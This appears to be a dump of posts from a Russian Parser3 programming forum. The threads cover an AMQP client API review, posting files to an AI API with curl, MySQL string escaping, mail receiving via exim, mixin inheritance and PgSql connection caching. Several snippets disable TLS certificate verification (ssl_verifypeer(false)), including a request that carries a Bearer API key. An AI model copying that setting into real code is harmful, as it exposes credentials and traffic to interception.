    declare_exchange.passive / declare_queue.passive: описание «ничего не делает если существует» верно, но добавьте явное «и бросает ошибку, если не существует».\
    reject обычно имеет флаг requeue (или отдельный nack(requeue=true|false)), его нет.\
    Нет QoS/prefetch (важно для fair-dispatch).\
    Нет tx/confirm режима (publisher confirms) — критично для гарантированной доставки.\
    Параметр properties стоит структурировать: headers, content_type, delivery_mode, expiration, priority, correlation_id, reply_to, message_id, timestamp, type, app_id.\
    В publish опции create_queue/create_exchange удобны, но опасны (гонки, права). Лучше вынести в явные шаги или сделать их отключаемым сахаром.\
\
Параметры соединения\
    heartbeat(0) по умолчанию нежелателен. Рекомендуется 30–60 сек.\
    read_timeout/write_timeout: у вас оба «для записи». Исправить описания и явно указать единицы (ms).\
    TLS: обычно нужны флаги verify_peer, verify_hostname, SNI.\
    login_method: дефолт — PLAIN у RabbitMQ; укажите, как выбирается. login_response редко нужно — можно скрыть.\
    channel_rpc_timeout в секундах? Уточнить единицы.\
    keepalive системный (TCP) ≠ AMQP heartbeat — стоит пояснить."
"86912","[quote]Возможно как-то стоит разделить методы, выделив достаточные для простого режима (только работа с очередями через default exchange) и методы расширенного режима[/quote]\
\
Я думаю, что методов там и так минимум, а реализовать это можно через дефолтные значения параметров, чтобы их лишний раз не писать в коде. А в расширенном режиме задавать этим параметрам недефолтные значения (если надо).\
\
[quote]declare_queue не должен принимать exchange: объявление очереди != привязка к бирже.[/quote]\
\
Не факт. Я не очень представляю ситуацию, когда можно создать очередь без биржи. Мне кажется если создать очередь без биржи, то ребит сам создаст биржу и привяжет туда эту очередь (Может конечно я чего-то не догоняю)\
\
[quote]Нужен отдельный метод bind_queue(exchange, queue, routing_key, args) и unbind_queue.[/quote]\
\
Это связано в предыдущим методом declare_queue - в 99,99% придется писать вызов двух методов вместо одного, bind я бы наверное все же спрятал в declare_queue. Либо писать потом парсерный класс обертку и там это два метода оборачивать в один. Вопрос зачем??\
\
[quote]publish должен иметь routing_key. Поле queue допустимо только как сахар для публикации в default exchange (\"\") с routing_key = queue.[/quote]\
\
Если у нас явно нету bind_queue, где связывается routing_key и queue, то у нас по факту нет routing_key и публикуем мы либо в конкретную очередь или в биржу (== сразу в разные очереди, привязанные к этой бирже)\
\
[quote]consume.no_ack описан наоборот. Должно быть: no_ack=true = авто-подтверждение; no_ack=false = ждать явный ack/nack.[/quote]\
\
no ack == нет подтверждения == авто-подтверждение (согласен - косяк, надо исправить)\
\
[quote]delete_exchange.if_unused и описания «удалится очередь» — терминологическая ошибка. Речь про использование биржи (имеются ли привязки).[/quote]\
\
Да опечатка (копипаст) - конечно же биржа, а не очередь\
\
[quote]declare_exchange.passive / declare_queue.passive: описание «ничего не делает если существует» верно, но добавьте явное «и бросает ошибку, если не существует»[/quote]\
\
вроде так и написано (только опять копипаст для биржи написано про очередь - надо исправить)\
если true, не объявляет очередь, а проверяет ее существование и выдает исключение если ее не существует,\
если false и очередь существует, ничего не делает\
\
[quote]reject обычно имеет флаг requeue (или отдельный nack(requeue=true|false)), его нет.\
\
Нет QoS/prefetch (важно для fair-dispatch).\
\
Нет tx/confirm режима (publisher confirms) — критично для гарантированной доставки.\
[/quote]\
\
пока ноу коммент :)\
\
[quote]Параметр properties стоит структурировать: headers, content_type, delivery_mode, expiration, priority, correlation_id, reply_to, message_id, timestamp, type, app_id.[/quote]\
\
Там так и написано, что это hash\
\
[quote]В publish опции create_queue/create_exchange удобны, но опасны (гонки, права). Лучше вынести в явные шаги или сделать их отключаемым сахаром.[/quote]\
\
Они и добавлены для удобства и значения по умолчанию делать очередь и/или биржу если их нет, чтобы каждый раз не писать. А если надо, то явно это выключать.\
\
[quote]read_timeout/write_timeout: у вас оба «для записи». Исправить описания и явно указать единицы (ms).[/quote]\
\
Опечатка (копипаст). Секунды или милисекунды надо наверное всюду свести к милисекундам.\
\
[quote]heartbeat(0) по умолчанию нежелателен. Рекомендуется 30–60 сек.[/quote]\
ок - 30 000 ms (в милисекундах??)\
\
[quote]TLS: обычно нужны флаги verify_peer, verify_hostname, SNI.\
login_method: дефолт — PLAIN у RabbitMQ; укажите, как выбирается. login_response редко нужно — можно скрыть.\
channel_rpc_timeout в секундах? Уточнить единицы.\
keepalive системный (TCP) ? AMQP heartbeat — стоит пояснить.[/quote]\
\
ну тут сложно мне комментировать"
"86913","ДД!\
\
подскажите, плиз как данную хрень \
\
[quote]curl https://api.openai.com/v1/responses \\\
  -H \"Authorization: Bearer $OPENAI_API_KEY\" \\\
  -H \"Content-Type: multipart/form-data\" \\\
  -F 'model=gpt-5' \\\
  -F 'input[0][role]=user' \\\
  -F 'input[0][content][0][type]=input_text' \\\
  -F 'input[0][content][0][text]=BlaBlaBla' \\\
  -F 'input[0][content][1][type]=input_file' \\\
  -F 'input[0][content][1][file][]=@/path/email.eml;type=message/rfc822'\
[/quote]\
\
реализовать через curl:session ?\
\
без необходимоти загонять фалйьі я делал вот так:\
\
[code]  ^curl:session{\
    $curlResult[^curl:load[\
      $.url[^taint[as-is][$oGPT.URI]]\
      $.ssl_verifypeer(false)\
      $.connecttimeout(3000)\
      $.timeout(3000)\
      $.fresh_connect(true)\
      $.mode[text]\
\
      $.post(1)\
      $.httpheader[\
        $.Authorization[Bearer ^taint[as-is][$oGPT.KEY]]\
        $.content-type[application/json]\
        $.charset[UTF-8]\
      ]\
      $.postfields[^array2json[$options][$.one-line(true)]]\
    ]]\
\
    ^if(^curlResult.status.int(0) != 200){\
      ^try{\
        $hRes[^json:parse[^taint[as-is][$curlResult.text]]]\
      }{\
        $exception.handled(1)\
        ^throw[${taskPID}/gpt;curl;respond status $curlResult.status]\
      }\
      ^throw[${taskPID}/gpt;curl;^if(def $hRes.error&&def $hRes.error.message){$hRes.error.message}{error}]\
    }{\
      ^try{\
        $hRes[^json:parse[^taint[as-is][$curlResult.text]]]\
        $gptData[^json:parse[^taint[as-is][$hRes.choices.0.message.content]]]\
      }{\
        $exception.handled(1)\
        ^throw[${taskPID}/gpt;curl;${taskPID} Wrong respond: $curlResult.text]\
      }\
    }\
  }\
[/code]\
\
а вот чтото -F меня загнало в ступор ...\
\
особенно \"@/path/email.eml;type=message/rfc822\"\
насколько я помню - curl чтото делает с файлом перед тем как отправить....\
а как єто реализовать в парсере ?"
"86914","[quote]а вот чтото -F меня загнало в ступор ...\
\
особенно \"@/path/email.eml;type=message/rfc822\"\
насколько я помню - curl чтото делает с файлом перед тем как отправить....\
а как єто реализовать в парсере?[/quote]\
\
[i]-F[/i] — это данные формы.\
Попробуйте передать поля формы с указанными названиями полями [i]httppost[/i]:\
[code]$.httppost[\
	$.[input[0][role]][user]\
	…\
	$.[input[0][content][1][file][]][^file::load[binary;/path/email.eml]]\
][/code]"
"86917","Альтернативным решением является замена == на eq при сравнении double. Для перевода чисел в строковое представление используется формат \"%.15g\", что тоже немного округляет число (похоже на округление до 2-3 ULP). В приведенном примере кода такая замена приведет к тому, что все условия станут выдавать TRUE."
"86920","документация:\
\
[quote]в зависимости от SQL-сервера \
для Oracle, ODBC и SQLite меняется ' на '' \
для PgSQL символы ' и \\ предваряются символом \\ \
для MySQL символы ' \" и \\ предваряются символом \\, символы с кодами 0x00 0x0A 0x0D преобразуются соответственно в \\0 \\n \\r \
[/quote]\
\
постоянно встречается ошибка:\
[quote]\"comment\":\"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's name ' at line 3\"[/quote]\
\
исходник содержит в тексте [b]\"option's name\"[/b]\
\
\
[code]      UPDATE TaskList\
      SET \
        TaskResult  = _utf8mb4'^apply-taint[sql][^json:string[$result;$.indent(false)$.one-line(true)$.file[stat]]]'\
      WHERE\
        task = _utf8mb4'$TaskID'\
[/code]\
\
\
точно-ли одинарная кавьічка ['] єкранируется?"
"86921","[code]  ^db[$dbTask]{\
    $sql.TaskResult[\
      UPDATE TaskList\
      SET \
        TaskResult  = _utf8mb4\"^apply-taint[sql][^json:string[$result;$.indent(false)$.one-line(true)$.file[stat]]]\"\
      WHERE\
        task = _utf8mb4'$TaskID'\
    ]\
    ^void:sql{$sql.TaskResult}\
  }\
[/code]\
\
\
вьілетел прям сразу на первом имени json переменной:\
\
[quote] \"comment\":\"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ID\\\":\\\"20250926_020927_6229\\\", \\\"TaskID\\\":\
\\\"2025-09-26 02:09:27\\\"' at line 3\",\
[/quote]\
\
[i]Оператор apply-taint выполняет сиюминутное преобразованию всех фрагментов в строке.[/i]"
"86922","[code]\
  $options.safety_identifier[aiFreight]\
\
\
  $options.[input[0][role]][system]\
  $options.[input[0][content][0][type]][input_text]\
  $options.[input[0][content][0][text]][$oGPT.SystemText]\
\
  $options.[input[1][role]][user]\
  $options.[input[1][content][0][type]][input_text]\
  $options.[input[1][content][0][text]][$oGPT.Prompt]\
  $options.[input[1][content][1][type]][input_file]\
  $options.[input[1][content][1][file][]][^file::load[binary;$eMAIL]]\
\
  $options.[text[format][type]][json_object]\
\
  ^curl:session{\
    $curlResult[^curl:load[\
      $.url[^taint[as-is][$oGPT.URI]]\
      $.ssl_verifypeer(false)\
      $.connecttimeout(3000)\
      $.timeout(3000)\
      $.fresh_connect(true)\
      $.mode[text]\
\
      $.post(1)\
      $.httpheader[\
        $.Authorization[Bearer ^taint[as-is][$oGPT.KEY]]\
#        $.content-type[application/json]\
#        $.content-type[multipart/form-data] ^rem{ unsupported }\
        $.content-type[application/x-www-form-urlencoded]\
        $.charset[UTF-8]\
      ]\
#      $.postfields[^array2json[$options][$.one-line(true)]]\
      $.httppost[^hash::create[$options]]\
    ]]\
[/code]\
\
\
\
\
[quote]\
 \"comment\":\"Invalid parameter: ' keep it human-readable and clean\\r\\n--------------------------cb85d4e3d3323fac\\r\\nContent-Disposition: form-data'. Expected parameters to be of the form 'key=value', 'key[]=value', 'key[$index]=value', or 'key[subkey]=value'.\",[/quote]\
\
\
PS:\
блин, на точку с запятой реагирует :(\
\
в systemText [quote]and formatting noise; keep it human-readable and clean[/quote]\
\
и что делать ? запретить в тексте точки с запятой ?"
"86923","оно теперь ругается на точки с запятой из файла email.eml\
\
[quote]  \"source\":\"curl\",\
\"comment\":\"Invalid parameter: ' Mon, 22 Sep 2025 13:15:07  0300\\nReceived: from testgate.local ([10.0.0.25] helo'. Expected parameters to be of the form 'key=value', 'key[]=value', 'key[$\
index]=value', or 'key[subkey]=value'.\",\
[/quote]"
"86924","не помню чтобы кодировка указывалась так явно, она на уровне таблицы же:\
\
[code]TaskResult  = _utf8mb4\"^apply-taint[sql][^json:string[$result;$.indent(false)$.one-line(true)$.file[stat]]]\"[/code]\
\
в таком случае присвоение неверное, [b]_utf8mb4[/b] вне кавычек:\
\
[code]TaskResult  = '_utf8mb4^taint[sql][^json:string[$result;$.indent(false)$.one-line(true)$.file[stat]]]'[/code]"
"86925","Apply-taint вообще не нужен если запрос отправляет Парсер. Но в любом случае надо испачкать всю строку, чтобы экранирование сработало."
"86926","[quote]Оператор apply-taint выполняет сиюминутное преобразованию всех фрагментов в строке.[/quote]\
\
Выполняет, только если в строке есть грязные данные.\
То есть, [i]apply-taint[/i] применяет указанное преобразование, но сам строку не пачкает.\
\
Если хочется получить преобразованные данные (что, как верно подмечает Sumo, на практике нужно редко), то нужно делать так:\
[code]^apply-taint[^taint[sql;…]][/code]"
"86927","В тестах можно посмотреть рабочий пример передачи файлов на сервер через curl:\
https://github.com/artlebedev/parser3/blob/master/tests/223-curl.html#L34"
"86928","Может добавить опцию для подобных случаев? В документации в любом случае отражу что сейчас результатом является чистая строка."
"86929","^taint[$value] универсальная идиома для вставки чего угодно в sql. Думаю дополнительное указание на чистую строку в json:string не помешает, но новый ключ не нужен."
"86931","[code]$hHeader[\
	$.[my-name][^taint[as-is][ЗнА^#0A^#0AчЕ&н\"И:е%]]\
	$.[^#0A^taint[as-is][^#0Aфыв]][зна^#0Aчение]\
]\
\
$hForm[^hash::create[$hHeader]\
	$.table[^table::create{value\
value\
значение}]\
]\
[/code]\
ахренеть, не встать ...\
\
---\
\
зачем \" content-type \" - я не знаю, та сторона (API) так хочет, для чего - непонятно , бо я не нашел как они его используют...\
передал без него - все они и так с'ели ..."
"86932","я правильно понимаю для включения сего достаточно:\
\
exim4 в алиасах прописать:\
[code]\
test: \"|/srv/myProj/handler.sh\"[/code]\
\
\
в handler.sh:\
[code]#!/bin/sh\
\
cd /srv/myProj/\
/srv/parser/parser3.cgi -m handler.p\
[/code]\
\
[code]handler.p\
@main[]\
^show[$mail:received]\
\
@show[m]\
from: $m.from\
subject: $m.subject\
\
$m.text.value\
^if(def $m.file){\
+file $m.file.value.name\
}\
^if(def $m.message){\
+message from $m.message.from\
}[/code]\
[quote]могут присутствовать элементы file2, message2, [/quote]\
\
т.е. тут ^m.file.foreach - не проканает\
надо делать чтото типа:\
\
[code]^m.foreach[key;data]{\
 ^if(^key.left(4) eq \"file\"){ ^parseAttach[$data] }\
 ^if(^key.left(7) eq \"message\"){ ^parseMessage[$data] }\
}[/code]\
\
я правильно понял ?"
"86933","... и даже помечает данные как грязные, когда данные приходтят из внешних источников.\
\
Когда данные могут быть смешанные мы можем явно испачкать без указания языка — ^taint[$value] — и этого достаточно.\
\
Метод apply-taint сделали сильно позже для того, чтобы можно было применить преобразование и дальше что-то сделать, например записать в лог:\
[code]\
# Когда не нужно ничего явно преобразовывать достаточно покрасить,\
# т.е. сказать парсеру — что value_json надо заэскейпить, если потребуется\
# И Парсер сам всё сделать при исполнении sql:void\
  ^connect[$connectString]{\
      ^sql:void{\
         insert into table1 (uuid, value_json, int_value, form_value) \
          values ('^math:uuid7[]', '^taint[^json:string[$data]]', ^i.int[], '$form:value')\
      }\
  }\
\
# Если нам нужно отправить запрос и сохранить запрос в лог на диск,\
# то в этом случае нам надо будет сделать apply-taint, чтобы в логе был корректный запрос\
  ^connect[$connectString]{\
#    Готовим запрос и сразу преобразоваваем\
#    и явно эскейпим строку в контексте оператора connect\
      $query[^apply-taint[sql][\
         insert into table1 (uuid, value_json, int_value, form_value) \
          values ('^math:uuid7[]', '^taint[^json:string[$data]]', ^i.int[], '$form:value')\
      ]]\
\
#    Отправляем запрос в базу\
      ^sql:void{$query}\
  }\
\
# А теперь пишем в лог запрос, но уже корректно заэскейпленный\
  $now[^date::now[]]\
  ^query.save[append; [^now.gmt-string[]] - $query^#0A]\
[/code]\
\
Общее правило — не нужно нигде явно писать untaint, apply-taint и даже taint, если явно нет причины. Для остального обычно достаточно покрасить данные обычным ^taint[$value]."
"86934","В Парсере можно добавлять в хеши поля очень элегантно и это хорошо помогает в методах\
\
[code]\
@main[]\
$h[\
  $.key1[v1]\
  $.key5[v5]\
  $.key6[v6]\
]\
\
^method[$h](true)\
\
@method[options;cond]\
  $options[\
#   Копируем хэш или создаём новый, если в options пришёл void\
    ^hash::create[$options]\
\
#  Манипулируем полями, но уже с локальным options\
    $.key2[v2]\
    $.key5['$options.v5']\
    ^if($cond){\
      $key3[v3]\
    }\
  ]\
[/code]\
\
Для интересующихся — https://www.parser.ru/forum/?id=71096\
\
И для пользовательских классов работает тоже, потому что в Парсере класс это хеш. :)"
"86935","[quote]правильно понимаю для включения сего достаточно:[/quote]\
\
Да, хотя бы обычно делаем .forward с \
|/home/user/receive_mail.sh, чтобы работало от конкретного пользователя.\
И парсер нужен с поддержкой приема почты, лучше с --with-system-mailreceive, современные версии gmime лучше перекодируют заголовки писем. Отлаживать проще из командной строки cat test.eml | /home/user/receive_mail.sh.\
\
[quote]надо делать что-то типа: [/quote]\
\
Вложенные message подразумевают рекурсию, правильнее как-то так:\
\
[code]@main[]\
^show[$mail:received]\
\
@show[m][part]\
from: $m.from\
subject: $m.subject\
\
$part(1)\
^while(def $m.text$part){\
    text: $m.text$part.value\
    ^part.inc[]\
}\
\
$part(1)\
^while(def $m.file$part){\
    file: $m.file$part.name\
    ^part.inc[]\
}\
\
$part(1)\
^while(def $m.message$part){\
    message: ^show[$m.message$part]\
    ^part.inc[]\
}\
[/code]"
"86937","В разделе \"скачать\" парсер без поддержки приема почты. Но по сути это одна [url=\"/docs/lang/?compilenix.htm\"]команда[/url] ./buildall --with-system-mailreceive. Если OS Debian/Ubuntu, надо поставить пакет libgmime-3.0-dev."
"86939","Uname показывает версию ядра :)\
\
Но непонятно в чем проблема. Линукс двадцатого года вполне свежий"
"86940","Могу попробовать включить --with-mailreceive для соответствующей ночной сборки."
"86941","[code]/www/parser/current# ./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.4.6 (compiled on x86_64-unknown-linux-gnu)\
Copyright (c) 2001-2020 Art. Lebedev Studio (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] [file]\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -p [host:]port  Start web server on this port\
    -h              Display usage information (this message)\
\
[/code]\
\
\
\
\
[code]/www/parser/current/parser3.cgi: \
ELF 64-bit LSB executable, \
x86-64, \
version 1 (GNU/Linux), \
dynamically linked, \
interpreter /lib64/ld-linux-x86-64.so.2, \
for GNU/Linux 2.6.32, \
BuildID[sha1]=0dbbc605a48a55861fd7286c2bf0597c21fb2d56, \
stripped[/code]"
"86942","[code]/www/parser/current# lsb_release -a\
No LSB modules are available.\
Distributor ID: Debian\
Description:    Debian GNU/Linux 8.11 (jessie)\
Release:        8.11\
Codename:       jessie\
[/code]\
\
[quote]непонятно в чем проблема[/quote]\
\
ничего не доступно для apt-get :("
"86943","https://rtfm.wiki/linux/debian/jessie_apt_archive\
\
Обновлений не будет, но пакеты еще доступны, насколько я помню"
"86944","OEL Debian 8 был 5 лет назад, пора бы и обновиться... Но вроде как собралось --with-mailreceive:\
https://www.parser.ru/f/1/download/nightly/parser3_5_2b_debian8x64.tar.gz"
"86946","Склонение русских ФИО по падежам\
\
[code]\
@USE\
FioMorph.p\
\
$fio[^FioMorph::create[\
	$.surname[Иванов]\
	$.first[Иван]\
	$.middle[Иванович]\
	$.gender(1)\
]]\
\
^fio.fullName[падеж]\
[/code]\
\
\
Давняя история, понадобилось делать это без ИИ малой кровью. Меня устраивает если попадание будет 95-97% идеальную точность не жду.\
\
Класс в стадии пре-бета, так что замечания приветствуются. Обязательно проведу тесты на хорошей базе из 170 тыс. ФИО.\
\
Подробности на [url=\"https://github.com/Spearance/fio-morph-p3\"]GitHub[/url], туда же пишите ишьи и примеры неправильно обработанных фамилий"
"86947","У меня изначально была база с фамилиями, порядка 300+ тысяч, из них примерно пополам мужские/женские и неопределенные, которые можно отнести и к тем, и другим.\
\
Убрал все очевидные варианты русских фамилий, на -ин -ов -на -ва... потому что скрипт с ними справляется прекрасно. Выбрал 300 из оставшихся рандомным образом, в основном это всё фамилии с неопределенным полом нерусского происхождения, и к ним написал небольшой рандомайзер имен. Все это лежит в [b]/htdocs/test/[/b].\
\
Пока не нашел каких-то лютых огрехов, но, для себя отметил что в некоторых случаях я бы даже с ходу не сказал склоняется или нет.\
\
Из нового:\
\
Автоматическое определение ИОФ вместо ФИО, само собой работает хорошо только на русских фамилиях.\
\
Еще месяц погоняю у себя на живом проекте и можно релизить."
"86948","https://www.parser.ru/lib/?tag=morphology"
"86950","Может я не до конца понимаю логику, но хотелось бы иметь такую возможность.\
\
Создаю отдельный класс:\
\
[code]@CLASS\
TextMixin\
\
@method1[]\
$result[result]\
\
@method[]\
^BASE:method[]\
[/code]\
\
При попытке сделать mixin из другого класса \
\
[code]^reflection:mixin[...][/code]\
\
\
Получаю ошибку компиляции: [b]no base class declared[/b]\
\
Ожидал, что смогу использовать вызов родительского метода.\
\
Есть ли возможность вызвать родительский метод их mixin метода?\
\
Варианты ^reflection:base не помогают, т.к. можно вызвать только статически"
"86951","[quote]Ожидал, что смогу использовать вызов родительского метода.\
Есть ли возможность вызвать родительский метод их mixin метода?[/quote]\
\
Есть, конечно.\
Но, класс-донор должен быть унаследован от родительского класса, чтобы было что вызывать.\
\
Расскажите о задаче, [i]mixin[/i] нужен довольно редко.\
\
[code]\
# mixin.html\
@main[]\
^child:base_method[]<br/>\
^child:self_method[]\
\
\
@CLASS\
base\
\
@method[]\
base method\
\
\
@CLASS\
mix\
\
@BASE\
base\
\
@self_method[]\
self_method\
\
@base_method[]\
^BASE:method[]\
\
\
@CLASS\
child\
\
@auto[]\
^reflection:mixin[$mix:CLASS;$.methods(true)][/code]"
"86952","Задача - реализовать аналог механизма Трейтов\
\
Добавив немного обвязки на проверку своих методов, методов, наследуемых от родителя, и более-менее получается.\
\
Я так понял, нужно сделать Базовый класс-заглушку. Чтобы не было ошибки при компиляции?"
"86953","[quote]Задача - реализовать аналог механизма Трейтов[/quote]\
\
Ну, то есть, требуется множественное наследование.\
\
[quote]Я так понял, нужно сделать Базовый класс-заглушку. Чтобы не было ошибки при компиляции?[/quote]\
\
Вы хотите, чтобы подмешанные [i]mixin[/i]'ом абстрактные методы при обращениях к базовому классу обращались к конкретному родителю объекта-реципиента?\
\
[code]#mixin.html\
@main[]\
^child:base_method[]<br/>\
^child:self_method[]<br/>\
\
\
@CLASS\
abstract_base\
\
@method[]\
abstract_base method\
\
\
@CLASS\
mix\
\
@BASE\
abstract_base\
\
@self_method[]\
self_method\
\
@base_method[]\
^BASE:method[]\
\
\
@CLASS\
base\
\
@method[]\
base method\
\
\
@CLASS\
child\
\
@BASE\
base\
\
@auto[]\
^reflection:mixin[$mix:CLASS;$.methods(true)][/code]\
\
Должно быть\
[code]base method\
self_method[/code]\
а не\
[code]abstract_base method\
self_method[/code]\
да?\
\
Для этого при подмешивании на лету нужно подменять базовый класс.\
Кроме некрасивого [i]process[/i] в голову пока ничего не приходит.\
Либо перебирать подмешанные методы, проверять базовый класс и переписывать абстрактные методы реальными, что тоже так себе."
"86955","Если сделать например как ниже, то будет выведено \"a method\", поскольку если метод в потомке не переопределен, вызывается метод родителя. BASE же заменяется на имя класса во время компиляции. \
\
[code]@main[]\
^b:method2[]\
\
@CLASS\
TextMixin\
\
@method1[]\
$result[result]\
\
@method2[]\
^method[]\
\
@CLASS\
a\
\
@method[]\
a method\
\
@CLASS\
b\
\
@BASE\
a\
\
@auto[]\
^reflection:mixin[$TextMixin:CLASS;$.methods(true)][/code]\
\
\
Если это реально поможет, можно сделать, чтобы ^reflection:base[] без параметров возвращал актуального родителя. Но и сейчас можно без этого обойтись, просто чуть более громоздко.\
\
\
[code]@main[]\
^b:method[]\
\
@CLASS\
TextMixin\
\
@method1[]\
$result[result]\
\
\
@method[]\
$base[^reflection:base[$self]]\
^base.method[]\
\
@CLASS\
a\
\
@method[]\
a method\
\
@CLASS\
b\
\
@BASE\
a\
\
@auto[]\
^reflection:mixin[$TextMixin:CLASS;$.methods(true) $.overwrite(true) ]\
[/code]"
"86956","Насколько понимаю, цель в том, чтобы иметь подмешиваемые классы с «динамическим родителем».\
То есть, в таком классе явно не указан @BASE (что не вызывает ошибки компиляции), но есть обращения к нему, и родителем станет родитель реципиента подмешивания.\
\
[code]@main[]\
^foo:identify[]\
^bar:identify[]\
\
\
@CLASS\
foo\
\
@auto[]\
^reflection:mixin[interface;$.methods(true)]\
\
\
@CLASS\
bar\
\
@auto[]\
^reflection:mixin[interface;$.methods(true)]\
\
\
@CLASS\
abstract\
\
@identify[]\
I am $self.CLASS_NAME\
\
\
@CLASS\
interface\
\
@BASE\
abstract[/code]\
\
Результат:\
[code]I am foo\
I am bar[/code]\
Базовый [i]abstract[/i] для примера — показать, что там может быть иерархия и обычным наследованием задачу не решить.\
\
Идея лично мне кажется разумной, но противоречит сборке иерархии классов во время компиляции.\
\
Тут помогла бы возможность переопределять или назначать базовый класс для подмешиваемых классов именно в момент подмешивания, a-la:\
[code]^reflection:mixin[…;$.base[override]][/code]"
"86958","[quote]То есть, в таком классе явно не указан @BASE (что не вызывает ошибки компиляции)[/quote]\
\
В моих примерах тоже не указан @BASE.\
\
[quote]Насколько понимаю, цель в том, чтобы иметь подмешиваемые классы с «динамическим родителем».[/quote]\
\
Ну он писал, \"аналог механизма Трейтов\". Mixin делает ровно требуемое. Но конкретно BASE использовать в подмешиваемых методах нельзя, надо получать базовый класс через reflection, $base[^reflection:base[$self]].\
\
[quote]Тут помогла бы возможность переопределять или назначать базовый класс для подмешиваемых классов именно в момент подмешивания, a-la:\
^reflection:mixin[…;$.base[override]]'\
[/quote]\
\
Увы, но BASE заменяется в момент компиляции, так что такое сделать весьма проблематично."
"86959","Я плохие примеры привёл, удалил сообщение, а оно появилось.\
Вот так, вроде, понятнее:\
[code]@main[]\
^foo:identify[]\
^bar:identify[]\
\
\
@CLASS\
interface\
\
@identify[]\
interface\
\
\
@CLASS\
mixin\
\
@identify[]\
^BASE:identify[] of $self.CLASS_NAME\
\
\
@CLASS\
baz\
\
\
@CLASS\
bat\
\
\
@CLASS\
foo\
\
@BASE\
baz\
\
@auto[]\
^reflection:mixin[interface;$.methods(true)]\
\
\
@CLASS\
bar\
\
@BASE\
bat\
\
@auto[]\
^reflection:mixin[interface;$.methods(true)]\
[/code]\
\
Результат:\
[code]interface of foo\
interface of bar[/code]\
\
[quote]Ну он писал, \"аналог механизма Трейтов\". Mixin делает ровно требуемое.[/quote]\
\
Не знаком настолько глубоко с тонкостями трейтов в PHP, там такие финты с обращениями не поддерживаются?\
\
[quote]Но конкретно BASE использовать в подмешиваемых методах нельзя, надо получать базовый класс через reflection, $base[^reflection:base[$self]].[/quote]\
\
Да, но это заставляет подмешиваемые классы знать, что их будут подмешивать.\
А если бы [i]mixin[/i] корректировал [i]@BASE[/i] с абстрактного на фактический, то подмешиваемые классы были бы простыми, без знаний о возможности микширования и необходимости использования рефлексии.\
\
Я не предлагаю такое реализовывать, тут, скорее, академический интерес возможности и цены.\
\
У меня подмешивание используется, но без наследования.\
Если где-то наследование в подмешиваемых классах и есть, то классическое."
"86960","[quote]Не знаком настолько глубоко с тонкостями трейтов в PHP, там такие финты с обращениями не поддерживаются?[/quote]\
\
Тоже не эксперт. :) Но вроде как там нет динамического связывания. ^reflection:mixin можно вызвать когда угодно, а в php use указывается при декларировании класса и разбирается на этапе компиляции, поэтому понятно parent:: работает. Но с parent:: там свои тонкости, это только непосредственный родитель, в парсере ^BASE и определенный выше по иерархии метод вызовет."
"86962","Всех приветствую! Запускаю парсер терминалом \
[code]~/myserv.beget.tech/public_html/cgi-bin/parser3.cgi ~/myserv.beget.tech/public_html/cgi-bin/download_jpg.rp[/code] \
 внутри помимо прочего команда получить файл и сохранить его на диск\
[code]\
$file[^curl:load[ \
   $.url[https://server$jpg_table.small_jpg] \
   $.useragent[Parser3] \
   $.timeout(10) \
   $.ssl_verifypeer(0) \
]]\
\
^file.save[binary;/myserv.beget.tech/public_html$jpg_table.small_jpg] \
[/code]\
\
где $jpg_table.small_jpg - путь к картинке на сервере с которого надо забрать и так же на новом положить например /images/model/brand/images1.jpg\
\
как бы я не извращался с путями в ^file.save, сохраняет всегда ~/myserv.beget.tech/public_html/cgi-bin/и_далее_путь_который_указан_в_file.save\
\
Ткните носом что делаю не так пожалуйста."
"86963","переложите скрипт в\
~/myserv.beget.tech/public_html/download_jpg.rp\
\
cd ~/myserv.beget.tech/public_html/\
~/myserv.beget.tech/public_html/cgi-bin/parser3.cgi /download_jpg.rp"
"86964","Короче решил я просто сделать командный файл и запустить его уже кроном\
[code]$file_str[curl https://server$jpg_table.small_jpg -o ~/myserver.beget.tech/public_html$jpg_table.small_jpg\
]\
^file_str.save[append;comand_file.sh][/code]"
"86965","Установите нужный корень веб-пространства и можно будет работать от него.\
\
Также можно [url=https://www.parser.ru/docs/lang/parserscript.htm]сделать[/url] [i]pushd /myserv.beget.tech/public_html[/i] перед вызовом Парсера:\
[quote]При этом корнем веб-пространства считается текущий каталог.[/quote]"
"86966","Добрый день.\
Использую 2 коннекта к одной базе через\
[code]^PgSql::create[$sConnectString][/code]\
В PgSql (из библиотек с форума) добавляю метод изменения схемы через запрос\
[code]^self.sql[void;SET search_path TO \"$sName\"][/code]\
\
В итоге\
[code]^oSql_1.setSchema[schema_1]\
^oSql_2.setSchema[schema_2]\
[/code]\
обрабатывается так\
[code]oSql_1: переключаемся в schema_1\
oSql_2: переключаемся в schema_2\
\
oSql_1: оказываемся не в schema_1, а в schema_2[/code]\
\
Можно ли в парсере создать объект коннект и вызывать из него запросы, чтобы 2 коннекта к одной базе не пересекались при переключении схем и прочих операций?\
\
Класс [b]Sql[/b] делает коннект при каждом запросе, а не хранит объект и вызывает его."
"86967","Нашел в доке, что коннекты кешируются.\
Дописать к строке коннекта любой параметр, например, rnd=1 нельзя.\
\
Не нашел в исходниках упоминание [b]standard_conforming_strings[/b], хотя в доке есть, и решил использовать для тестов:\
[code]^PgSql::create[$sConnectString&standard_conforming_strings=25]\
^PgSql::create[$sConnectString&standard_conforming_strings=38][/code]\
\
В этом варианте схемы переключаются нормально.\
\
Если коннекты действительно кешируются, то при наличии необязательного параметра, например, connection_id/uid/... можно было бы решить проблему."
"86968","https://www.parser.ru/docs/lang/?opconnect.htm\
\
\"повторный SQL-запрос на соединение с той же строкой подключения не производится, а соединение берется из кеша\"\
\
Например в одной из строк подключения добавить &autocommit=1 (это значение по умолчанию)."
"86969","[quote]Не нашел в исходниках упоминание standard_conforming_strings[/quote]\
\
Плохо искали. :)\
\
https://github.com/artlebedev/parser3-sql/blob/master/pgsql/parser3pgsql.C#L174\
\
Но да, подойдет любое ненулевое значение."
"86970","… поэтому можно в строку соединения добавить параметр application_name=app-con-1 и не возиться с хаками вокруг других параметров :)\
\
https://postgrespro.ru/docs/postgresql/current/libpq-connect#LIBPQ-CONNECT-APPLICATION-NAME"
"86971","Тогда нужен необязательный параметр [b]connect_type[/b] (или более подходящее название) для строки подключения.\
\
